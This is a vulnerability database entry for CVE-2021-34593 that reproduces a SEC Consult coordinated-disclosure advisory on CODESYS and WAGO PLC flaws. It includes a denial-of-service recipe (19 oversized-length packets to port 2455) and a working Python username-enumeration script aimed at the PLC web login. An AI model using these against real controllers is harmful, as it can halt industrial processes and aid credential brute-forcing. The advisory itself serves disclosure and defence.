ID

VAR-202110-1617

CVE

CVE-2021-34593

TITLE

CODESYS V2 Runtime Toolkit 32 Bit full  and  PLCWinNT  Vulnerability in handling exceptional conditions in

DESCRIPTION

In CODESYS V2 Runtime Toolkit 32 Bit full and PLCWinNT prior to versions V2.4.7.56 unauthenticated crafted invalid requests may result in several denial-of-service conditions. Running PLC programs may be stopped, memory may be leaked, or further communication clients may be blocked from accessing the PLC. Vulnerability overview/description: ----------------------------------- The CODESYS Control runtime system is the core of many PLCs. The runtime is accepting TCP connections on a pre-configured port to connect to the development system. CODESYS released a dedicated security note, which corresponds to this advisory: https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=16877&token=8faab0fc1e069f4edfca5d5aba8146139f67a175 Proof of concept: ----------------- A detailed proof of concept will be made public after the affected product vendors had time to provide new firmware versions. 2021-08-11: Vendor states that this issue was already fixed in a recent CODESYS release. The vendor is notified again about this outcome. Workaround: ----------- To mitigate this issue, access to the CODESYS service port of the affected devices should be limited as far as possible. In the long run, the updated firmware of the product vendor containing a patched CODESYS service must be installed. SEC Consult Vulnerability Lab Security Advisory < 20220126-0 > ======================================================================= title: Denial of service & User Enumeration product: WAGO 750-8xxx PLC vulnerable version: < Firmware 20 Patch 1 (v03.08.08) fixed version: Firmware 20 Patch 1 (v03.08.08) CVE number: CVE-2021-34593 impact: Medium homepage: https://www.wago.com/ found: 2021-05-05 by: SEC Consult Vulnerability Lab These vulnerabilities were discovered during the research cooperation initiative "OT Cyber Security Lab" between Verbund AG and SEC Consult Group. Gerhard Hechenberger (Office Vienna) Steffen Robertz (Office Vienna) An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Optimum performance and availability: Thanks to their ultra-high performance, low power consumption, numerous interfaces, space-saving design and high reliability, WAGO’s user-friendly controllers (PLCs) are cost-effective automation solutions. For optimal automation both inside and outside the control cabinet: the flexible IP20 remote I/O systems for all applications and environments." Source: https://www.wago.com/us/c/controllers-bus-couplers-i-o Business recommendation: ------------------------ WAGO's customers should upgrade the firmware to the latest version available. A thorough security review should be performed by security professionals to identify further security issues. Vulnerability overview/description: ----------------------------------- 1) Denial of Service (Codesys) (CVE-2021-34593) The "plclinux_rt" binary is listening on port 2455. It handles communication with the CODESYS suite. By sending requests that define an invalid packet size, a malloc error can be triggered. This leads to a denial of service of the remote connectivity of the codesys service. This was also reported to and released together with CODESYS, find the corresponding advisories here: https://sec-consult.com/vulnerability-lab/advisory/codesys-v2-denial-of-service/ https://customers.codesys.com/index.php?eID=dumpFile&t=f&f=16877&token=8faab0fc1e069f4edfca5d5aba8146139f67a175 2) Enumeration of Users Due to a time-based side channel vulnerability, it can be derived which usernames are valid. This eases the process of brute-forcing valid credentials. 3) Outdated Software with Known Vulnerabilities The PLC is using multiple outdated software components with known exploits. 4) Insufficient Hardening of Binaries Multiple binaries are not compiled with available security features. This will ease further attacks once a memory corruption vulnerability has been spotted. Proof of concept: ----------------- 1) Denial of Service (Codesys) (CVE-2021-34593) Codesys packet headers are structured like below (pseudo code): struct codesys_header { uint16_t magic, int32_t packet_size } The magic bytes will be 0xbbbb. By defining a packet size of 0xffffffff, a size of 4 GB is defined. The following pseudo code will be used to handle the request: allocated_mem = (byte*)SysAllocDataMemory(coedesys_header.packet_size); buffer_info->recv_buf_wout_header = allocated_mem; if (allocated_mem == (byte *)0x0) { return; } As 4GB of memory aren't available, malloc will return a NULL pointer, which is passed back through the SysAllocDataMemory() function and the return statement in the pseudo code will be hit. Thus, the TCPServerTask() function will return. The file descriptor for the client is not cleared in advance. Therefore, the socket stays open indefinitely. A new client will open the next file descriptor. As only 19 clients are allowed to be connected simultaneously, it is sufficient to send 19 requests with a wrong packet length to force the PLC into a state where it will refuse further connections to the Codesys service. The current implementation is missing the call to SysSockClose() once a buffer allocation fails. 2) Enumeration of Users A time-based side channel vulnerability in the webserver's authentication method is leaking information about valid usernames. The following code snippet is used in the login method: // get password file and iterate over every line $pwFileArray = file($passwordFilename); foreach($pwFileArray as $lineNo => $pwFileLine) { // extract username and user password $passwordFileData = explode(':', trim($pwFileLine)); // if username was found in line, verify given password with user password if(isset($passwordFileData[0]) && ($passwordFileData[0] === $username)) { $pwCorrect = password_verify($password, $passwordFileData[1]); break; } } The password hash is only calculated if the username is found to be valid. As the PLC has limited computational power, this results in different timings for the response depending on the validity of the username. The following script can be used to find valid users. The parameter 'delay_valid' might need to be adjusted to the network speed: ---------------------------- #!/usr/sbin/python import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) delay_valid = 0.2 f = open(sys.argv[1],"r"); for user in f.readlines(): payload = {"username":user.replace('\n',''),"password":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} cnt = 0 for i in range(5): try: r = requests.post("https://<your_PLC_IP>/wbm/php/authentication/login.php", json=payload, timeout=delay_valid, verify=False) except: cnt = cnt +1 if cnt >=3: print("[*]Valid User: {}".format(user)) ----------------------------- 3) Outdated Software with Known Vulnerabilities Following outdated and vulnerable components were identified by using the IoT Inspector firmware analysis tool: - Dsnmasq 2.80: 9 CVEs - Bash 4.4.23: 1 CVE - GNU glibc 2.30: 12 CVEs - Linux Kernel 4.9.146: 663 CVEs - OpenSSL 1.0.1: 103 CVEs - BusyBox 1.30.1: 2 CVEs - Curl 7.72.0: 1 CVE - OpenSSH 7.9p1: 4 CVEs - PHP 7.3.15: 11 CVEs - Wpa_supplicant 2.6: 20 CVEs - NET-SNMP 5.8: 1 CVE - Libpcap 1.8.1: 5 CVEs - Info-ZIP 3.0: 13 CVEs 4) Insufficient Hardening of Binaries The following features were extracted with the IoT Inspector: - 1.9% of all executables support full RELRO - 84.6% support partial RELRO - Only 3.6% of all executables make use of stack canaries - 58.9% are using ASLR/PIE The plclinux_rt binary is an example of a particularly vulnerable binary. It accepts user input on port 2455 and is missing all compile-time security features. Thus, it's a perfect candidate to successfully exploit any identified buffer overflow. Vulnerable / tested versions: ----------------------------- The following versions have been tested and found to be vulnerable: * WAGO 750-8xxx Firmware 18 (v03.06.11) * WAGO 750-8xxx Firmware 15 (v03.03.10) Vendor contact timeline: ------------------------ 2021-05-25: Contacting vendor through support.at@wago.com, asking for security contact information. Support informed about their PSIRT team. Set preliminary release date to 2021-07-14. 2021-05-26: Contacting PSIRT through psirt@wago.com for encryption options. 2021-05-27: Received PGP key from PSIRT, transmitted encrypted advisory to psirt@wago.com. 2021-05-31: Wago PSIRT notifies about decryption problems. 2021-06-02: Wago PSIRT redirects to VDE CERT for encrypted transmission. Transmitted encrypted advisory to info@cert.vde.com. Set release date to 2021-07-22. Wago PSIRT resolves decryption problems. 2021-06-07: Received confirmation from VDE CERT. 2021-08-11: On request, Wago PSIRT informs about the investigation results and mentions that the DoS was already reported and is fixed with firmware 18 patch 3. 2021-08-18: A check on the most recent public firmware release v18 (v03.06.19) shows that the vulnerability still exists. Wago PSIRT is notified. 2021-09-01: Wago PSIRT confirms and ensures the issue is investigated. 2021-09-29: Request status from Wago PSIRT. Set new release date to 2021-11-16. 2021-09-30: Wago PSIRT states that CODESYS provided a fix which is currently tested and to wait for a coordinated release with CODESYS. 2021-10-15: CODESYS informs about the assigned CVE-2021-34593 and the planned publishing date. 2021-10-18: Requesting information from Wago on an updated firmware version. 2021-10-19: Wago PSIRT states that they just received the new CODESYS sources and it will take some more weeks to create a new firmware release. 2021-10-28: CODESYS vulnerability CVE-2021-34593 is released in a coordinated manner together with CODESYS group without exploit details. 2021-11-30: Request status from Wago PSIRT on new firmware release. 2022-01-17: Request status from Wago PSIRT on new firmware release again. 2022-01-18: Wago PSIRT informs that firmware 20 Patch 1 released on January 10, 2022 fixes the remaining issue. The firmware was not yet published on their website. 2022-01-26: Release of security advisory. Solution: --------- Immediately update the PLCs to the fixed firmware version provided by the vendor to mitigate CVE-2021-34593. The fixed firmware release 20 patch 1 can be obtained from https://www.wago.com/de/d/6599873 Regarding vulnerability 2) As stated by Wago, there are only two possible default usernames. Therefore, the username enumeration may not gain additional information and this will not be changed. Additionally, due to varying release cycles, there is a delay in updating components (affecting the other identified vulnerabilities). It is planned to change to a new distribution release with firmware 20. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Gerhard Hechenberger, Steffen Robertz / @2022

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

other

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Gerhard Hechenberger, S. Robertz

SOURCES

LAST UPDATE DATE

2025-08-16T23:08:29.438000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE